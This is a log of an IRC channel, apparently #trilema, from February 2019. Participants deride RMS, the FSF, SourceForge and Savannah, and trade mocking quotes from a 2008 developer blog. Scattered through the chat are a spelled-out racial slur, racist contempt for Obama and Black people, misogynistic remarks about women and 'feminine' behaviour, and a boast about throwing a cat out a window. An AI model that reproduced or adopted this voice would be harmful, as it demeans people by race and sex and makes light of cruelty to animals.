invidious bernie sandals socialist by this his most peculiar approach to conflict and social hierarchy. 1898771;1550937723;mircea_popescu;asciilifeform so they were using a logotron made by someone not in the l1, big whoop. (then you realise they apparently HAD NO IDEA this is what they're doing, or what a l1 even is -- suddenly the "big whoop" turns to "wtf is wrong with these idiots") 1898772;1550937779;asciilifeform;they dun seem to have any capacity to learn from obv mistakes, either -- witness how literally same scenario replayed with linus 1898773;1550937788;asciilifeform;( the 'bitkeeper' debacle ) 1898774;1550937791;mircea_popescu;myeah. 1898775;1550937878;mircea_popescu;anyway, i suppose one could use the item linked as a compare/contrast with http://btcbase.org/log/2016-03-28#1440673 1898776;1550937878;a111;Logged on 2016-03-28 13:11 mircea_popescu: upon consideration, i see no reason to continue supporting or otherwise encourage kakobrekla's bizarre worldview. on the contrary, i view further involvement with the nonsense as considerable moral hazard, and a miserable thing to do altogether. 1898777;1550937884;mircea_popescu;what's history for if not education. 1898778;1550937952;asciilifeform;arguably even the slow nintendoization of pc arch, squeezing out 1st 'load own bios' then 'load own kernel', is macroscale instance of same thing. rms rejected 'make own iron' in 1980s, today the chickens come home to roost, and the response of the gnutards is afaik ~100% denial games 1898779;1550937968;mircea_popescu;it should be instructive exactly ~how~ ers's warcrime as you (with cause) call it made its way into rms's naive ranch of cattle purity : "SourceForge brought to Free Software a unified and standard development methodology based on modern tools. Before SourceForge, such tools (bug tracking, cvs, web, support, forums, polls, news, etc.) were available individually, but few developers used many of them together, because they had 1898780;1550937968;mircea_popescu; to set up the combined facilities on their own. SourceForge made the combination conveniently available for both new and experienced developers. " 1898781;1550937993;mircea_popescu;now why exactly this does NOT read "it is here because ~I FAILED~ to signal correctly and in order" is anyone's guess. 1898782;1550938047;mircea_popescu;but let it be said that the ~actual~ reason all these bernie sandals tards pretend all the shit they pretend about equality and authority is precisely this fear : that the flow of events may bring them to this position where they did something wrong. 1898783;1550938124;mircea_popescu;they love the whatever, "world", "cosmos", whatever it is, and dun wanna hurt it. and they figure if they don't exist, can't hurt it. and so will studiously avoid saying "~I~ forbid you from X", not because "they believe in equality" or "it's impolite" or "other's freedom" or any such bs. the driving force is simply that IF you say "i order/forbid you" then therefore you CAN end up in the situation whereby "you forbade me and 1898784;1550938124;mircea_popescu; you shouldn't have" "you're right, i fucked up". 1898785;1550938129;asciilifeform;'mice-be-gone exterminator corp. brought our mouse kingdom a unified and standard cheese distribution methodology based on modern tools. before the mousetraps were installed, such tools were available individually, we had to scour the kitchen manually for crumbs of cheese, but few mice used'em, because they had to set up.... ...mice-be-gone made the combination conveniently available for both larval and experienced mice...' 1898786;1550938141;mircea_popescu;you know ? but WHY DID IT ? 1898787;1550938151;mircea_popescu;how was it that it could "bring" such wonders ? 1898788;1550938154;asciilifeform;cuz some people apparently dumber than mouse.. 1898789;1550938166;mircea_popescu;it takes a person to be dumber than a mouse. 1898790;1550938216;mircea_popescu;WHY did not rms say "you MUST unify the toolchain" at such a time as ~before~ ers could step in to do it for his usual expectation of a coversion gain ? 1898791;1550938249;asciilifeform;he attempted this -- 'hurd'. but was unable to commission a working kernel. 1898792;1550938262;asciilifeform;so whole thing went as spoils of war to the next set of tards, under linus 1898793;1550938265;mircea_popescu;i meant the editor and management toolchain. 1898794;1550938284;mircea_popescu;you know, the items discussed, "efore SourceForge, such tools (bug tracking, cvs, web, support, forums, polls, news, etc.) were available individually, but few developers used many of them together" 1898795;1550938304;asciilifeform;iirc at the time hosting cost actual moneys. and the gnutards were short. 1898796;1550938320;mircea_popescu;get the fuck out of here. in adult world there's such a thing as "this tall to ride". 1898797;1550938358;asciilifeform;i dun think rms & co were ever 'this tall'. relied just about from day 1 on 'reasonable' cooperation with enemy, to have any money at all. 1898798;1550938379;asciilifeform;these particular mice i dun think ever ate one single crumb of cheese that wasn't from a mousetrap. 1898799;1550938445;mircea_popescu;the choice is strictly between mp-esque http://btcbase.org/log/2018-09-29#1855672 and rms-esque herp-derp-mumble-mumble. 1898800;1550938445;a111;Logged on 2018-09-29 23:35 mircea_popescu: but as far as the foundation is concerned -- if all it does (ALL IT DOES!!!) is stand up to tell me "oh, we can't follow the keccak because reasons" ima put an end to it in short order. 1898801;1550938468;mircea_popescu;the foregoing has the disadvantage a very good man is still smarting from it ; the latter however IS FUCKEN POISON. 1898802;1550938484;mircea_popescu;so, where's all the rms "hey folks, make blogs, rms-wp is over there", is what i wish to know. 1898803;1550938484;asciilifeform;what else to expect when commander is 'human mushroom' 1898804;1550938517;mircea_popescu;all these zero-cost options dorks keep writing to themselves. 1898805;1550938539;mircea_popescu;meets future wife on bus, doesn't go over (BECAUSE HAS OPTION NOT TO, SEE ???), never meets her again. 1898806;1550938556;*;asciilifeform brb,tea 1898807;1550939255;mircea_popescu;"Because of the convenience of SourceForge, many Free Software developers have come to take this collection of features for granted, and would be reluctant to go back to the old way of doing things. Unfortunately, this means that when SourceForge itself takes a turn for the worse, it tends to pull Free Software developers down with it. " 1898808;1550939276;mircea_popescu;fucking beautiful. "it turns out we weren't about anything in particular, so when convenience rears its ugly head..." 1898809;1550939372;mircea_popescu;"might as well this as that, it's all the same anyway." 1898810;1550939961;BingoBoingo;If the town custom was fucking dogs... convenient, features, might as well! 1898811;1550940315;mircea_popescu;anyway, for thread completeness : "In 1993, Augustin founded VA Research (later VA Linux and Geeknet), while a Ph.D. student at Stanford. Augustin was a Stanford colleague of Jerry Yang and David Filo, the founders of Yahoo!. Filo and Yang introduced Augustin to Sequoia Capital, which provided Augustin with venture capital. In November 1999, he launched SourceForge, a collaborative development environment or "forge". On Decem 1898812;1550940315;mircea_popescu;ber 9, 1999, during the dot-com bubble, VA Linux became a public company via an initial public offering and Augustin, then 38-years old, became a billionaire on paper. In August 2002, Augustin left VA Linux and from September 2002 to December 2004, he was a partner at Azure Capital Partners, where he helped lead Azure’s investments in Zend Technologies and Medsphere. In 2005, Augustin joined the board of directors of SugarC 1898813;1550940316;mircea_popescu;RM and in May 2009, Augustin was appointed as the chief executive officer." 1898814;1550940321;mircea_popescu;(the linked fsf piece is 2001.) 1898815;1550940968;mircea_popescu;"The move to non-free software was the culmination of a series of steps designed to lock users in. There never was a way to fully extract projects from SourceForge [and I never said anything about this because I, rms, am a moron unfit to lead a L-shaped ambush, let alone an entire world], but efforts were made in this direction--then this year they were removed. At present the only things you can get are the CVS tree and trac 1898816;1550940968;mircea_popescu;ker data /export/sf_tracker_export.php. Few people are aware of the later because it is undocumented. The export page explains how to use scripts that don't exist anymore; implementation of facilities to ease project extraction was stopped. The developer community is exclusively made of VA Linux employees and a few people who are asked not to disclose the current code [and I didn't declare this a strategic objective, nor fill 1898817;1550940969;mircea_popescu;ed it with real people, but instead permitted a buncha weasels to run with it, not even under the supervision and signature of an established lord, because my mother dropped me repeatedly on hard floors during breastfeeding]." 1898818;1550940982;mircea_popescu;and so fucking following until we fall the fuck over, how can this dork live with himself. 1898819;1550941251;hanbot;http://btcbase.org/log/2019-02-23#1898735 << done, tyvm 1898820;1550941251;a111;Logged on 2019-02-23 15:18 mircea_popescu: hanbot asciilifeform http://p.bvulpes.com/pastes/iloUK/?raw=true 1898821;1550942034;mircea_popescu;"Some months ago I helped to launch Savannah for the GNU project because I felt the need of a collaboratively run platform. With friends and co-developpers we are now re-writing and packaging distributed development hosting software. The idea is to be able to install and operate a SourceForge-like site within hours. Savannah will run this software at the end of this year. At first it may have less functionality than SourceFor 1898822;1550942034;mircea_popescu;ge, but it has a bright future because it is rooted in a cooperative effort of people sharing Free Software. " 1898823;1550942037;mircea_popescu;that worked out well. 1898824;1550942095;asciilifeform;mircea_popescu: in this light, the current (yes, still exists...) zombie of soresforge, where mostly hosted winblows .exe , and scriptically-infested with $trojan-of-the-day on ea. download, aint much of surprise 1898825;1550942132;mircea_popescu;somehow the lesson that "anomie-freedom's worse than ANY KIND of slavery" still unlearned, 20 years later. "why did savannah fail ?" "dunno" "but you said somethings about it, dorky. where's the review of them ?" "[http://trilema.com/2012/the-imbecilitarians/#selection-223.101-223.123][not me!]" 1898826;1550942171;mircea_popescu;asciilifeform of course. and yet IT STILL DID BETTER than fucking "savannah", the cvs pharmacy in 31401 georgia. 1898827;1550942181;asciilifeform;the mice dun learn either, witness the mass-migration to shithub ( ~exactly same thing, but with moar printolade to prop it up ) 1898828;1550942237;asciilifeform;http://btcbase.org/log/2019-01-28#1890452 << oblig recent shithub lulz 1898829;1550942237;a111;Logged on 2019-01-28 18:01 asciilifeform: meanwhile, in copyrasty lulz: https://archive.is/wpwpo << ms-shithub posts dmca wank publicly nao ; this one's against a linuxkernelism. ( https://github.com/github/dmca << moar of these than anyone could ever stomach , some quite lulzy ) 1898830;1550942245;mircea_popescu;myeah. 1898831;1550942281;mircea_popescu;menalone, a very expensive bioengineering project aiming to emulate two ounce mice in 200lb hominid hardware. 1898832;1550942351;asciilifeform;i thought 'man alone'(tm) were crackpot who hosts on hand-turned html on box in cellar, crafting perpetuum mobiles an' squaring circles 1898833;1550942364;asciilifeform;redditard is imho separate species, very much hive insect, anyffin but 'alone' 1898834;1550942401;mircea_popescu;asciilifeform the lulziest thing is how all these born-in-65-foss-blabla tards end up ALWAYS on the fucking forefront and speartip of usg.blue isms. 1898835;1550942420;mircea_popescu;that va linux ceo dood, fine. but guess what dachary's doing now ? 1898836;1550942436;mircea_popescu;o, you guessed it!!! "securedrop, for to journalists wanting to wikileaks" 1898837;1550942442;asciilifeform;afaik rms is best-known example of this, his www is fulla 'free palestine' etc 1898838;1550942477;mircea_popescu;it's just... 1898839;1550942559;mircea_popescu;if the "there really wasn't anything there to begin with" was at all controversial, such banal yet obvious yet [http://trilema.com/2015/in-which-orwell-avoids-what-he-does-not-wish-to-see/][disavowed] matters would sink it anyway. 1898840;1550942572;mircea_popescu;"what, is it pure coincidence all inca's boydaughters run about doing inca's will ???" 1898841;1550942595;asciilifeform;iirc mircea_popescu has this piece , where rms as lev trotsky, 'troo left believer' surrounded by the usual swarm of cynical grifters who inevitably come to put proboscis into 'troo believer' as surely as flies to shit 1898842;1550942614;mircea_popescu;mighjt've been in here. 1898843;1550942618;mircea_popescu;but yes. 1898844;1550942686;mircea_popescu;i mean, understand this fucking nonsense : on the very savannah gnu org/maintenance/WhyChooseSavannah/ page they list "Gna!: http://gna.org/ - philosophically compatible with Savannah, run independently by other people; located in France" ; this is there BECAUSE his lordship loic the schmuck is doing it. 1898845;1550942724;asciilifeform;lolwat, i thought were 'gnaa', i.e. 'gay nigger assoc. of amer.' 1898846;1550942738;mircea_popescu;but they don't say "by his lordship's authority, gna". they say "phylosophycally!!!!" which is a keyword with these functionally iliterate morons, and it's a keyword for specifically "this is where real republic instrument would go, if it existed as it does but we heretically deny" 1898847;1550942749;mircea_popescu;asciilifeform nah, some local french server. 1898848;1550942782;mircea_popescu;anyway, it's just... they EVEN HAVE THE HOLE WHERE THE GEMS WOULD GO. everything, everything, except not making it work. 1898849;1550942821;mircea_popescu;what ~the fuck~ prevented them from saying "loic has the autority to make an alt-logger, fuck your mother." ? 1898850;1550942876;asciilifeform;and it aint even that rms explicitly rejected fuhrerprinzip -- witness his (successful) keeping-gcc-stupid by decree 1898851;1550942930;mircea_popescu;cuz obviously, they still jack off under covers. they just do it amateurish-poorly. 1898852;1550942973;asciilifeform;d00d was entirely happy to exercise authority . simply not to any sane end, but as strictly reflex to butthurts, 1:1. 1898853;1550943011;mircea_popescu;bout as effectual as the sand dollars i fished at beach last. 1898854;1550943037;asciilifeform;quite 'effectual', turns out, simply not to any effect you'd want. 1898855;1550943164;mircea_popescu;instead of that, though, https://lwn.net/Articles/64835/ 1898856;1550943197;mircea_popescu;(linux weekly news being the qntra of 20 years ago, except much the fuck shittier, in no small part because fucking retarded editorial team) 1898857;1550943299;asciilifeform;'To that end, the compromise may actually be a good thing in the long run. Kuhn said that they have contacted the CVS maintainers and have offered to pay for development of features that would allow GPG signing of commits through CVS -- making it much more difficult for changes to be inserted unnoticed into code held in a CVS repository. He said that they have also contacted the GNU Arch maintainer about adding GPG signing. Though it 1898858;1550943299;asciilifeform; may take some time to develop, the addition of GPG signing to commits would be a welcome feature.' << afaik to this very day no such thing in opensoresdom (outside of linus's releases) 1898859;1550943315;mircea_popescu;"To that end, the compromise may actually be a good thing in the long run. Kuhn said that they have contacted the CVS maintainers and have offered to pay for development of features that would allow GPG signing of commits through CVS -- making it much more difficult for changes to be inserted unnoticed into code held in a CVS repository." << guess how far this made it, 15 years later. 1898860;1550943324;mircea_popescu;asciilifeform keks. right. 1898861;1550943347;asciilifeform;if these folx weren't broken in the head, could've had 'v' in 1995. 1898862;1550943368;mircea_popescu;"He said that they have also contacted the GNU Arch maintainer about adding GPG signing. Though it may take some time to develop, the addition of GPG signing to commits would be a welcome feature. " << see, because we http://btcbase.org/log/2018-01-24#1775402 over his failure to bring gribble up to spec. 1898863;1550943368;a111;Logged on 2018-01-24 19:56 mircea_popescu: !!rate nanotube -1 took the blue pill at some point prior to the republic, chasing the tenure dream somewhere lost in the imperial wastes. 1898864;1550943393;mircea_popescu;whereas everyone else, traditionally, will just fucking permit themselves to be dragged down to the lowest common denominator rather than behead a misbehaving old hand. 1898865;1550943406;mircea_popescu;asciilifeform absolutely. 1898866;1550943482;mircea_popescu;https://blog.dachary.org/2018/07/29/why-i-deleted-my-github-account/ << dood even seen last year. 1898867;1550943498;asciilifeform;( ftr linus is pretty lulzy example of 'uses gpg' -- erry single time signed MB-weighing ball of ??? that in no conceivable way he could have read or fit in head ) 1898868;1550943871;asciilifeform;re : 'difficult for changes to be inserted unnoticed' -- did they ever even pin a name on the debian rng lulz ? 1898869;1550943956;mircea_popescu;anyway, a lot could be said re the standard interactions between these unmitigated assholes. take http://trilema.com/2013/how-to-fail-the-scott-locklin-method/ and compare/contrast to http://archive.is/QA0cl#selection-511.1-521.5 or http://archive.is/FyVWH#selection-277.1-287.38 or ten trillion other examples. 1898870;1550943981;mircea_popescu;they are ~studiously~ and systematically disrespectful of male hierarchy and patriarchy in general, then they evne more insultingly ~pretend to not even be aware~. 1898871;1550943986;asciilifeform;( not that it would've made much diff -- e.g. drepper is certified author of no fewer than 3 open-and-shut sabotages, and still somehow 'contributing' as if nuffinhappened ) 1898872;1550943994;mircea_popescu;except that pretense is obviously enough a bald face lie, if they were ignorant they couldn't be this systematic. 1898873;1550944006;mircea_popescu;in short, it's a bunch of stupid cunts tryna pretend like the kitchen's the world. 1898874;1550944014;mircea_popescu;asciilifeform nope. 1898875;1550944056;mircea_popescu;and i view esp the drepper thing very much in these terms, "we are dumb cunts deliberately and by design, and we will not excommunicate another dumb cunt irrespective of any considerations, because believe-women". 1898876;1550944077;mircea_popescu;ie, collectivism. 1898877;1550944155;mircea_popescu;in any case, let the record reflect i find the pompous feminity they titlessly assume personally offensive. 1898878;1550944229;asciilifeform;would be somehow less riotously stupid if equipped with tit ? 1898879;1550944272;mircea_popescu;yes. much like a leaded fuel AIRPLANE can make sense. 1898880;1550944315;mircea_popescu;as a factual matter, there wouldn't have been ww2 us bombers under any other paradigm. 1898881;1550944353;asciilifeform;mircea_popescu: to this very day trinque-style plane runs on 100 octane cum pb. there's a filling station for these not far from where asciilifeform stands . 1898882;1550944369;mircea_popescu;and for reasons, which have to do with the ~ovopositor~ discussion. see ? 1898883;1550944373;asciilifeform;they're carburetted, too. 1898884;1550944396;mircea_popescu;it makes a fucking difference, even before we stop to consider that the native female ~also has different primitives~ one can leverage to obtain satisfactory results without going the exact same path. 1898885;1550944448;mircea_popescu;the demons people have to conquer vary by gender, news at 69. 1898886;1550944449;*;asciilifeform at one pt considered to buy such machine, and did some homework re the engines, it's moar or less perma-fossilized 1940s tech. cuz, elementarily, it worx. 1898887;1550944460;mircea_popescu;myeah. 1898888;1550944520;asciilifeform;right here, there's that airfield, and the enthusiasts (all, near as i can tell, in their 60s/70s) erry weekend dig in the engine, oil rag & all 1898889;1550944536;mircea_popescu;eating whale. 1898890;1550944540;asciilifeform;aha! 1898891;1550944543;asciilifeform;that very same 1898892;1550944575;asciilifeform;( for l0gz readers -- oblig whale, http://btcbase.org/log/2018-12-27#1883285 ) 1898893;1550944575;a111;Logged on 2018-12-27 16:53 asciilifeform: mcarthur's idea re protein shortage in occupied jp -- feed'em whale. 1898894;1550944640;mircea_popescu;and the fucking :) usage, too. "> If you don't want to have CVS write access on Savannah, please stop complaining about your repository not being in sync :-)" 1898895;1550944682;mircea_popescu;motherfucker, that wasn't what was being discussed, now was it. "if you don't aim to be employed by microsoft stop complaining abouyt windows crashes :)" fucktardry next, whainot. 1898896;1550944716;mircea_popescu;and they never, ever, no matter the fuck what EVER engage in any meaningful exchange. two fucking ignominous tards finding pokemons in front of each other on a subway platform. that's all it is. 1898897;1550944731;mircea_popescu;it's a wonder that "game" went away, it was the game of fucking life for these "free and open source" minds. 1898898;1550944754;asciilifeform;which 'game' 1898899;1550944754;mircea_popescu;literally their entire collected works consist of a bunch of them, face to face, tablet/smartphone clutched with white knuckles, finding pokemons. 1898900;1550944760;asciilifeform;aa 1898901;1550944778;asciilifeform;afaik didn't go away, still exists, there's a pokemonist den somewhere not far from here 1898902;1550944781;mircea_popescu;was some thing, famous for being imortalized in http://trilema.com/2017/the-world-has-changed/#selection-25.38-25.88 1898903;1550944805;mircea_popescu;whore's crack metamorphosized into pavement crack, one big government-maintained single-body whore, and the city boi... welll. 1898904;1550944890;asciilifeform;( for the innocent -- 'smart'pnoje-powered idjicy, zombie walks around in open air peering through pnoje, and hunts devils that programmatically appear in traffic, in coffin during funeral, on railroad tracks, anywhere ) 1898905;1550944928;mircea_popescu;the point being, dumbphone creates an imaginary overlay over reality for dumbass to interact with instead of reality. 1898906;1550944942;mircea_popescu;which is, truth be told, what america was all about since day 1, over at valleyforge. 1898907;1550944950;mircea_popescu;sourceforge piddly conceptual continuation. 1898908;1550945357;BingoBoingo;Well, social media is gamified alternate reality for social relations, phpBB gamified alt-reality overlay of discussion, list goes on 1898909;1550945905;mircea_popescu;"Tinycc was once closer to offering a serious open source alternative to gcc than anything else, and it's still simpler (and smaller, and faster), but part of the definition of its development community was a willingness to deal with development tools from the days of DOS." << what was his problem specifically to this day we do not know (beyond cvs not being able to handle namechanges, much like ~every other wanna-be v until 1898910;1550945905;mircea_popescu;we finally fixed it). 1898911;1550946093;asciilifeform;!#s watcom 1898912;1550946093;a111;6 results for "watcom", http://btcbase.org/log-search?q=watcom 1898913;1550946100;asciilifeform;^ the other attempt at 'alt gcc' 1898914;1550946128;asciilifeform;was an a++ golden age dos era cpptron, ended up opensores'd , unusually, when vendor folded 1898915;1550946136;asciilifeform;but afaik ~to this day~ not properly x64ated etc 1898916;1550946183;mircea_popescu;most of these aren't. the discussion of massaging long long etc in the tcc for x64 included in that mailing list is most lulzy on topic. 1898917;1550946183;asciilifeform;had uncommonly spiffy debugger, asciilifeform used ( even beat borland's ) 1898918;1550946269;mircea_popescu;anyway, equally lulzy is rob langley trying to explain to bellard and assorted nicks why and wherefore wikipedia is a bad thing. 1898919;1550946296;mircea_popescu;"Most authors mean well, but most changes have problems. Often they are conceptual problems, the problem they're trying to fix is real but they take 1898920;1550946297;mircea_popescu;the wrong approach. The right fix is sometimes a completely different patch, and sometimes there are several ways to do it which will work, but you have to pick _one_ way or they'll interfere with each other." and so on and so forth. 1898921;1550946517;mircea_popescu;meanwhile in the "i handrolled my own mp-wp, by hand" lulzchronicles, 2008 edition, http://archive.is/Jt2js#selection-39.0-39.293 1898922;1550946570;asciilifeform;http://archive.is/Jt2js#selection-215.0-219.29 << lulgem from same : 'Perl is back in the 2.6.28 kernel, once again due to H. Peter Anvin. Sigh.' 1898923;1550946586;asciilifeform;'The 2.6.28 merge window is open, and I'm coming up with a third perl removal patch. ' << watever happened to this ? 1898924;1550946591;asciilifeform;i'ma guess it's still in. 1898925;1550946598;asciilifeform;( perlism, that is , not patch ) 1898926;1550946648;mircea_popescu;dood spent a lot of time disogranisedly fighting the [to him, invisibly] organised morons. 1898927;1550946665;asciilifeform;'Twitter continues to be strange. Where else can you read one line posts from famous people and realize how very little they normally have to say? Just read three consecutive posts from uberlawyer Lawrence Lessig about his air travel arrangements ("@lessig second hour delay SFO2BOS just announced"), Howard Tayler of Schlock Mercenary ("@howardtayler just finished a two-hour nap. Ahhh."), and Jeph Jacques of Questionable Content ("@je 1898928;1550946665;asciilifeform;phjaques Also these new chicken mcnugget commercials are utterly revolting.") Penn Jilette also posted about taking his kids out for hamburgers and a movie. Warren Ellis posting anything, really.' 1898929;1550946710;mircea_popescu;the retard medium is the retard message. what the fuck else. 1898930;1550946759;mircea_popescu;"So yesterday, I told paychex the exact amount of money that was in Impact account, and the portion of that Mark and I each earned, and that my main concern was not bouncing a check. Today, they want to deduct $253.50 more from the account than I told them was in it.  This did not seem to raise any red flags on their end." << keks. "paychex", also still in business. also still doing the same exact thing -- meanwhile it's 1898931;1550946759;mircea_popescu; the "industry standard". 1898932;1550946760;asciilifeform;'Yesterday Fade wanted to know why Reuters and the Associated Press don't let their content stay on the web long. It's because they're old newspaper service organizations that want to charge for access to their archives. Places like Yahoo news subscribe to their content, then have to take it down after a couple weeks. It's funny that most of what future generations are going to know about 1995 onwards will be from archive.org and sim 1898933;1550946760;asciilifeform;ilar. If it's not electronically searchable, it won't matter... ...Project Gutenberg will scan in and OCR the public domain books, but in 100 years will anybody remember that UPI (a competitor to AP that went belly up a few years ago) even existed' << poor bugger 1898934;1550946786;mircea_popescu;you know ? 1898935;1550946839;asciilifeform;'My sound cancelling headphone make excellent earmuffs while walking to The Donald's ' << this has gotta be a joak 1898936;1550946864;mircea_popescu;"Busy all day. The phone just would not stop ringing. Mark called several times (some of them about Paychex), Stu called (oops, late to meet him for lunch), my sister called (wants me to buy her a house, but in a good way), I called my grandparents to thank them for the Red Lobster gift card Fade and I used for dinner, the series of phone calls from Eric was because he had to debug a problem with the gpsd test suite hanging o 1898937;1550946864;mircea_popescu;n Ubuntu 8.10, which eventually turned out to be that gcc 4.3 is miscompiling Python 2.5... Eventually my cell phone battery died from all the calls." << how about this. 1898938;1550946870;mircea_popescu;also joke ? 1898939;1550946897;asciilifeform;d00d aint from india , is he ? 1898940;1550946910;asciilifeform;( or why else 'buy house for sister so as to eat at mcd' ?! ) 1898941;1550946944;mircea_popescu;he sounds like he's from maryland or something, to me. 1898942;1550946986;mircea_popescu;"So the busybox "dc" command was broken when I tried it, but Denys fixed it last night, so I can do the next perl removal patch now. (I need to get this done before the merge window closes.) Three hours later, I've learned how to implement the greatest common denominator algorithm in shell script using Eucilid's algorithm, and I'm only about halfway through. (This would be easier if I either had any idea what the kernel used 1898943;1550946986;mircea_popescu;these numbers for, or if the perl generating them didn't suck quite so badly.) Tired. Bedtime. Tackle it in the morning." << 2008, this. 1898944;1550947048;asciilifeform;'So there's a small but nonzero chance that if the suit over the Linksys build system goes to trial that I would be on Cisco's defense team working against the SFLC. Maybe even testifying in court against them. Considering I still think the SFLC is in the wrong here, I'm pretty happy with this.' << whatever happened with that 1898945;1550947100;asciilifeform;'A sad day; the McDonald's double cheeseburger is no longer a dollar menu item. They now have the "McDouble" (which is the same thing but only one slice of cheese), but it's a sign that the whole thing is likely to drop off soon. Apparently, just because the economy has imploded doesn't mean we haven't still got galloping inflation.' << there's 9000 of these, i'ma leave off , so as not to ruin appetites 1898946;1550947124;mircea_popescu;i dunno, issues. 1898947;1550947187;asciilifeform;'November 9, 2008 And Morris got cracked. Great. Both busybox.net and uclibc.org may be compromised.' 1898948;1550947229;asciilifeform;^ gottaluvv how that's justanotherdiaryentry, and not followed by 'november 9, 2008: today i made arrangements for seppuku' 1898949;1550947291;mircea_popescu;what morris is this ?! 1898950;1550947310;asciilifeform;dunno. i only ever heard of 2, robert elder and younger 1898951;1550947362;asciilifeform;'November 2, 2008 Cross compiling gcc's c++ support doesn't work because even though I'm saying --enable-threads=posix the various subdirectories are trying to run the compiler it built to grep out the "Thread model: " line to set the config entry target_thread_file (which gets used to set glibcxx_thread_h, which is breaking) and you CAN'T RUN IT WHEN WE'RE CROSS COMPILING YOU TWIT!' 1898952;1550947455;mircea_popescu;"If I go home, I'll be endlessly pestered by cats. If I go into a room and close the door, they'll claw at it, the whole time." << dood had some srs problems. i sent much less disrespectful cat flying out window. 1898953;1550947476;asciilifeform;http://archive.is/Jt2js#selection-4119.0-4126.0 << also lulzy. this is just about bottomless well of these, tho, i'ma not pollute the log . 1898954;1550947966;asciilifeform;'Biked to the chick-fil-a on ben white. In 95 degree heat.' 'The hot water started working again this afternoon. Life is good.' 'For the record, a $5 gift card at starbucks doesn't _quite_ buy a mint hot chocolate and a slice of lemon pound cake, but it comes close.' << oook asciilifeform's dosimeter is fully black 1898955;1550947979;asciilifeform;i can stomach nomoar of this 1898956;1550948060;asciilifeform;i can picture how someone might end up living like this. but cannot picture why he'd publicly write about it. 1898957;1550948142;mircea_popescu;guy's political intuitions are remarkably weak : "All along, their big worry was the price of oil would rise to the point where alternative energy sources became _cheaper_, and people started funding research into them not out of altruistic or environmental motives but because there was money to be made in the near term. The massive price decline in oil is a mixed blessing for OPEC; it shrinks their paycheck but diverts even 1898958;1550948142;mircea_popescu;more money away from the competition. (Unless Obama's smart enough to talk congress into investing in the future _before_ it becomes an imminent crisis.)" 1898959;1550948156;mircea_popescu;turns out that yes, hussein bahamas was suckered into that play and crushed. 1898960;1550948192;mircea_popescu;in short, obama is the ~by product~ of a bunch of retarded white boys, nothing else. 1898961;1550948208;asciilifeform;noshit, per http://btcbase.org/log/2019-02-23#1898841 effect 1898962;1550948208;a111;Logged on 2019-02-23 17:23 asciilifeform: iirc mircea_popescu has this piece , where rms as lev trotsky, 'troo left believer' surrounded by the usual swarm of cynical grifters who inevitably come to put proboscis into 'troo believer' as surely as flies to shit 1898963;1550948319;mircea_popescu;funny how poorly the whole charade worked out. imagine if they came to you, you know, "here guy, you're the least informed dork in all of this obscure university's legal history dept, we'll promote you as the truly white black man! then you can go down in history as the most idiotic black man the soil ever produced, while we move on to different-but-same whiteboi wanking posts". 1898964;1550948347;mircea_popescu;who won what from the whole "black president" charade ? 1898965;1550948350;asciilifeform;iirc mircea_popescu covered this , in http://btcbase.org/log/2014-07-19#761495 1898966;1550948350;a111;Logged on 2014-07-19 03:17 mircea_popescu: there for all eternity, to confront generations of bright teenagers that'll take about five minutes to figure out she's a furniture, and maybe not torture her for it. maybe. 1898967;1550948410;mircea_popescu;a functionally iliterate moron from illinois/kenya got to fist bump with the functionally illiterate morons polishing the white house floors. i guess that's a gain in fried chicken ? 1898968;1550948444;mircea_popescu;or what was it, now whenever someone who hates black people is looking for ammo he can go "obama was ~easily~ the most inept, ridiculous, useless and failful president in history" ? 1898969;1550948468;BingoBoingo;Old women won 1898970;1550948479;mircea_popescu;or i guess the gain is that inept bois who can't afford a cup of standardcoffee at the standardshop could pretend like they're "fixing it" for 8 years, which is to say most of their productive life ? 1898971;1550948483;mircea_popescu;BingoBoingo what did they win ? 1898972;1550948513;BingoBoingo;They won flattening by making everything shitter 1898973;1550948524;BingoBoingo;Argentine Equality formula 1898974;1550948536;mircea_popescu;i dunno that it was avoidable. it's like saying "sinking submarine won by appointing X captain". 1898975;1550948550;mircea_popescu;the us has been de-industrializing on the strength of the imbecility and sloth of the population for a century straight. 1898976;1550948631;mircea_popescu;"Poking at making an open source version of the Cisco toolchain again, from publicly available sources. (No, Cisco isn't paying me to do this, most of those engineers are off for the holidays and not even answering their work email. I'm doing it because I'm disgusted with the FSF and would love to undermine Mepis II any way I can.)" << nuts. 1898977;1550948655;BingoBoingo;Well, one Pantsuit primary election faultline is appearing to be a "Green New Deal" that consists of eliminating fuels and nuclear power within 10 years. A proposal that makes... heating New York impossible 1898978;1550948668;asciilifeform;mircea_popescu: hey, rms's bolix 1898979;1550948758;mircea_popescu;BingoBoingo they'll prolly go for it, as the easiest thing to maintain. (in other words : heating new york is impossible as a matter of fact -- the best way to "explain" this to the affected while maintaining control is to pretend it's deliberate) 1898980;1550948758;asciilifeform;BingoBoingo: the 1 natural resource not yet exhausted in north amer, is (shit-grade) coal. lizards are fixin' for a return to 'golden age' of soot and aerially-dispersed thorium, for coupla decades nao 1898981;1550948798;mircea_popescu;the united states does not have the required skilled workforce to maintain nuclear plants, let alone build them. it's a foregone conclusion. 1898982;1550948827;mircea_popescu;africa africs, they'll be burning dung and tyres, of course. 1898983;1550948838;asciilifeform;has plenty of folx with primo employment quals to be fulltime furnace stokers, tho 1898984;1550948852;mircea_popescu;quite. 1898985;1550948896;mircea_popescu;should be fun to go on hunting expedition among the wolves that ate boston 4th time tho. 1898986;1550948957;mircea_popescu;"Somebody needs to fork gcc at the last GPLv2 release (4.2.2 I think, need to check) and maintain that, because the FSF has gone totally around the bend and the community shouldn't depend on it anymore." << check that lulz. 1898987;1550949136;mircea_popescu;anyway, for completeness let's also https://bellard.org/ 1898988;1550949152;asciilifeform;'last update: Aug 18, 2018' lol 1898989;1550949179;asciilifeform;tho afaik d00d ate own brain long prior 1898990;1550949376;lobbes;good day, #t. Quick update on what I've been doing lately: I've been on a bridge-to-cuntoo quest. Firstly, I spent the last week or so successfully getting a hand-rolled classic Gentoo installed on my lappy; complete with alf's classic crapolade masks, functioning networking, gcc-musl, ave1's gnat, and diana_coman's v setup (tested and working splendidly, I will add). 1898991;1550949381;lobbes;However, I've got some detective work to do now; Last night I ran the Cuntoo script (using the same kernel used for the above functioning Gentoo, and aimed at a usb drive), however when building the kernel I saw a spew of "error: cannot read XYZ elf file" and then it drops me out of the bootstrap.sh 1898992;1550949387;lobbes;Luckily, this time around I have a 40MB screenlog to parse through. Will return once I have a more substantive understanding of where exactly the failure points are when trying to build my kernel config 1898993;1550949398;mircea_popescu;heya lobbes 1898994;1550949404;lobbes;heya mircea_popescu 1898995;1550949761;mircea_popescu;!!up diana_alt 